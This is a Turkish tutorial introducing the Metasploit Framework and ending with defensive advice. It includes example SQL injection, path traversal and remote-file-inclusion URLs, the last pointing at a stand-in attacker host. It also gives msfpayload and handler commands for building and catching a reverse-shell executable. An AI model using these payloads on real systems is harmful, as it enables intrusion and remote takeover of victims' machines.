Metasploit ile Güvenlik Denetimi

Metasploit ile Güvenlik Denetimi

Terimler:

Exploit : Bir sistemin yada programin güvenlik açigini kullanarak yetkisiz bir islem yapilmasini saglayan yöntem.

http://sunucu/script/login.asp?uid=’ OR 1=1–
http://sunucu/script/..%c0%af../winnt/system32/cmd.exe?/c+dir
http://sunucu/script/index.php?dizin=http://saldırgan.com/kotukod.txt?

Payload : Exploit sonrasi çalisip yetkisiz islevi gerçeklestirecek içerik.
Shellcode:Exploit sonrasi çalisicak olan sisteme özel kodlar.
Nop : “Not Operation” , bellek yeri öğrenme amaçlı bellek dolduran bitler..
Encoder : Çalışacak olan Shellcode’u değiştiren ve IDS/IPS ler tarafından yakalanmasını önleyen yazılımlar.

Exploit Türleri :
Local Exploits : Lokal Exploitler yerel bilgisayarda yüklü olan yazilimlarin zayifliklarini exploit eder.
Remote Exploits : Remote exploit internet üzerinden çalismakta ve uzaktaki sistem ile bir bagimizin olmadigi, kendi bilgisayarimizdan derlenerek sisteme erisim saglayabilmemiz için kodlanmis exploitlerdir.

Exploitlerin Genel Özellikleri ;
–Çok farkli programla dillerinde gelistirilmis olabilir
(binary ,c ,c++ ,perl ,python ,php ,html)
–Exploit kodu açik herkez tarafindan kullaniliyor olabilir.
–Herkez tarafindan kullanildigi icin yamasi (pach) yapilmis önlem alinmis olabilir.
–Kod kötü islere hizmet icin yazilmis olabilir.

Metasploit Framework
–2.x (GPL/Artistic) ve 3.x olarak farklı iki sürümü bulunmakta.
–158+ exploit ve 76+ payload bulunuyor.
–Çok farkli turde payload’lar kullanilabiliyor
>Meterpreter
>VNC DLL Injection
>Binary Upload
>PassiveX
–Çok sayida farkli encoder kullanilabiliyor
>alpha2, Pex, Shikata Ga Nai, Sparc, Countdown,JpmCallAdditive
–Konsol, web arabirimi bulunuyor

Ekran Görüntüleri :

Metasploitle bir kaç güvenlik testi :

İE Creat Object

MS İnternet Explorer: Her windows kullanıcısının sıklıkla kullandığı belkide vazgeçemediği bir browserdır internet explorer.
İnternet Explorer’ın 5.0 , 6.0 ve 7.0 versiyonları mevcut.
ActiveX Nedir ?
Microsoft firmasının hazırladığı işlemtim sistemlerinde java dili gibi internet üzerinde çalışan programlar hazırlamak için kullanılan gelişmiş bir program geliştirme dilidir.Web Sayfası hazırlamak da temel de bir kod geliştirme süreci olduğu için Web Sayfalarında karşımıza sıklıkla çıkar Active X Denetimi.

Bir saldırgan bu işlevden yararlanarak neler yapabilir?
Bir saldırgan açıktan etkilenen bir makiye özel olarak hazırlanmış kötü amaçlı yazılım yada shellcode çalıştırabilir : (

Aşağıdaki videoda bu güvenlik zaafiyerinin nasıl exploit edilerek sistemin ele geçirildiği yer almakta.

Tam Ekran İzlemek İçin TIKLAYIN !

Microsoft RPC DCOM :

RPC Nedir?
Uzaktan yordam çağrısı (RPC), Windows işletim sisteminin kullandığı bir protokoldür. RPC, bir bilgisayarda çalıştırılan programın başka bir bilgisayardaki hizmetlere sorunsuz olarak erişebilmesini sağlayan ve işlemler arasında gerçekleştirilen bir iletişim düzeneğidir.
135, 137, 138 ve 445 numaralı UDP bağlantı noktaları ve 135, 139, 445 ve 593 numaralı TCP bağlantı noktalarını kullanır.

Bir saldırgan bu işlevden yararlanarak neler yapabilir?
Bir saldırgan açıktan etkilenen bir makiye özel olarak hazırlanmış kötü amaçlı paketler gönderebilir, bu da kısa süreli bir hizmet reddi durumuna neden olur yada istediği shellcode’u çalıştırabilir..

Aşağıdaki Video’da Windows server 2003 ün rcp servisi exploit edilerek sisteme back connect ( ters bağlantı ) özelliği olan Shell yuklenıyor ve
Saldırgan , kurban makınanın komut satırını ele geçiriyor ..

Tam Ekran İzlemek İçin TIKLAYIN !

Sistemde ki herhangi bir güvenlik açığı exploit edilerek istenilen payload çalıştırılabilir demiştik yine rpc servisi exploit edilerek kurban makinaya vnc inject yapılıyor böylelikle kurban makinanın ekran görüntüsü saldırganın bilgisayarına taşınmış oluyor ve saldırgan kontrolu tamamen ele geçiyor.

Tam Ekran İzlemek İçin TIKLAYINIZ !

Metasploit’de farklı işlevleri olan ve farklı platform’larda çalışan 76+ payload mevcut.Bu payload’ları metasploit’de derleyip çalıştırılabilir hale getirebiliriz.
Bunu “msfpayload” komutuyla yapıcaz.
Yukarıdaki örneklerde sistemi exploit edip win32_reverse adlı payloadı çalıştırdık.Şimdi bu payload’ı çalışır hala getirerek bir sistemi exploit etmeden sadece payloadın çalışmasıyla amacımıza ulasalım 🙂

” msfpayload Payload_adı LHOST=xx.xx.xx.xx LPORT=PortNo X > exeadi.exe ”

Örnek :/

Yukarıda ki örnekte win32_reverse payloadını seçtik local hostumuzu çalışıcağı portu belirledik ve bunu ozan.exe olarak kaydettik.
Saldırgan kendi bilgisayarında metasploit aracılığı ile ;
“msfclipayload_handler PAYLOAD= win32_reverse LHOST=x.x.x.x LPORT=90 E ” komutunu çalıştırdığında kendi pc’sinin 90. portunu dinlemiş olur.
Windows tabanli bir sistemde ozan.exe’yi çalıştırdığımıza o sistemin command line’nını salgırgana (85.103.250.157) 90. porttan ileticek.

Güvenlik zaafiyetlerini exploit edip metasploit framework ve temel exploit kullanımını somutlaştırmak için hazırlanmıştır.

Bu tür saldırılara karşı defans almak için son kullanıcılar işletim sisteminizi ve çalıştırdığınız uygulamaları güncel tutmanız ve güncel bir antivirus pc’niz kaldırıyorsa birde kişisel firewall kullanmanızı öneririm.
Büyük işletmeler için ; güncel işletim sistemleri ve uygulamaların yanı sıra IDS/IPS ve sıkı kurallarla configure edilmiş firewall kullanmaları bu gibi saldırılardan %90 oranında koruyacaktır.